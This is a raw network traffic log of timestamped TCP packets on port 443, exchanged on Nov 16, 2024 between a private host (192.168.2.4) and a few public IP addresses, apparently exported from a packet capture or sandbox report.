Nov 16, 2024 20:12:50.574337006 CET	49761	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.574403048 CET	443	49761	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.622401953 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.622432947 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.622507095 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.623086929 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:50.623100042 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:50.677521944 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.677541018 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.677582979 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.677592039 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.677630901 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.677655935 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.793500900 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.793521881 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.793584108 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.793598890 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.793625116 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.793647051 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.793921947 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.793971062 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.793977022 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.794023037 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.794060946 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.794109106 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.794243097 CET	49768	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:50.794260979 CET	443	49768	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:50.878403902 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.878495932 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.879959106 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.879965067 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.880891085 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:50.881922960 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:50.927375078 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:51.123737097 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:51.123817921 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:51.123945951 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:51.124593973 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:51.124609947 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:51.124619007 CET	49769	443	192.168.2.4	184.28.90.27
Nov 16, 2024 20:12:51.124624968 CET	443	49769	184.28.90.27	192.168.2.4
Nov 16, 2024 20:12:51.344820976 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.345032930 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.345047951 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.346509933 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.346570969 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.346853018 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.346936941 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.346985102 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.346992970 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.400531054 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601716995 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601780891 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601807117 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601843119 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601856947 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601870060 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601882935 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601897955 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601907969 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601934910 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.601938009 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601963997 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.601975918 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.716301918 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.716362953 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.716382027 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.716393948 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.716425896 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.716445923 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.831268072 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.831373930 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.831376076 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.831408024 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.831434965 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.831446886 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.947930098 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.947962046 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.948015928 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.948031902 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:51.948065042 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:51.948091984 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.064707994 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.064740896 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.064781904 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.064798117 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.064822912 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.064836025 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.177982092 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.178045988 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.178066969 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.178081989 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.178106070 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.178117990 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.293641090 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.293699980 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.293759108 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.293786049 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.293812990 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.293829918 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.335735083 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.335803986 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.335856915 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.335865974 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.335891008 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.335910082 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.450601101 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.450645924 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.450715065 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.450732946 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.450751066 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.450779915 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.566235065 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.566271067 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.566370010 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.566418886 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.566814899 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.681883097 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.681952953 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.682004929 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.682017088 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.682045937 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.682075977 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.725482941 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.725547075 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.725594997 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.725616932 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.725652933 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.725663900 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.798810959 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.798861980 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.798907995 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.798923016 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.798950911 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.799057961 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.799113989 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.799621105 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.799621105 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:52.799638987 CET	443	49772	13.107.246.67	192.168.2.4
Nov 16, 2024 20:12:52.799735069 CET	49772	443	192.168.2.4	13.107.246.67
Nov 16, 2024 20:12:55.076539993 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.076581955 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:55.076669931 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.077018023 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.077035904 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:55.861882925 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:55.861974001 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.863657951 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.863673925 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:55.864115953 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:55.874269962 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:55.919332027 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.114208937 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.114233971 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.114268064 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.114312887 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.114346027 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.114362955 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.114397049 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.131470919 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.131500006 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.131653070 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.131653070 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.131685019 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.131740093 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.237915993 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.237955093 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.238046885 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.238080025 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.238126993 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.254158974 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.254179001 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.254262924 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.254277945 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.254322052 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.255887032 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.255904913 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.255968094 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.255976915 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.256019115 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.361439943 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.361459970 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.361505032 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.361526012 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.361552000 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.361624956 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.376907110 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.376946926 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.376981020 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.376990080 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.377010107 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.377024889 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.377948999 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.377983093 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.378001928 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.378006935 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.378029108 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.378047943 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.484709978 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.484738111 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.484792948 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.484807968 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.484823942 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.484846115 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.500114918 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.500135899 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.500189066 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.500197887 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.500224113 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.500241995 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.501045942 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.501065969 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.501120090 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.501125097 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.501168013 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.502024889 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.502047062 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.502088070 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.502094030 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.502119064 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.502137899 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.608438969 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.608459949 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.608521938 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.608531952 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.608572006 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.623586893 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.623663902 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.623737097 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.623836040 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.623845100 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.623857021 CET	49789	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.623861074 CET	443	49789	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.666512012 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.666573048 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.666656971 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.666865110 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.666887045 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.669177055 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.669214964 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.669786930 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.669801950 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.669811964 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.669847965 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.669915915 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.669924021 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.671284914 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.671327114 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.671852112 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.671859980 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.671883106 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.672338009 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.672348976 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.672358036 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.672430038 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.672444105 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:56.672533035 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:56.672538996 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.387990952 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.388557911 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.388637066 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.389108896 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.389127016 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.408771992 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.410413980 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.410429001 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.410917044 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.410922050 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.411145926 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.411772013 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.411796093 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.412048101 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.412166119 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.412172079 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.412647963 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.412661076 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.413037062 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.413041115 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.417726040 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.418852091 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.418870926 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.419266939 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.419271946 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515048027 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515081882 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515170097 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.515197039 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515254021 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.515273094 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515348911 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515449047 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.515486002 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.515515089 CET	49802	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.515527964 CET	443	49802	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.518760920 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.518810034 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.518892050 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.519346952 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.519366980 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.542905092 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.543090105 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.543164968 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.543345928 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.543354988 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.543363094 CET	49806	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.543369055 CET	443	49806	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.546026945 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.546051025 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.546128988 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.546304941 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.546314955 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.549887896 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.549911022 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.549953938 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.549988031 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.550019026 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.550194025 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.550203085 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.550210953 CET	49803	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.550215960 CET	443	49803	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552161932 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.552175045 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552265882 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.552387953 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.552397013 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552710056 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552755117 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552870989 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.552898884 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.553100109 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.553124905 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.553138018 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.553150892 CET	49805	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.553157091 CET	443	49805	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.554896116 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.554963112 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.555039883 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.555145025 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.555166006 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.556855917 CET	443	49804	13.107.246.45	192.168.2.4
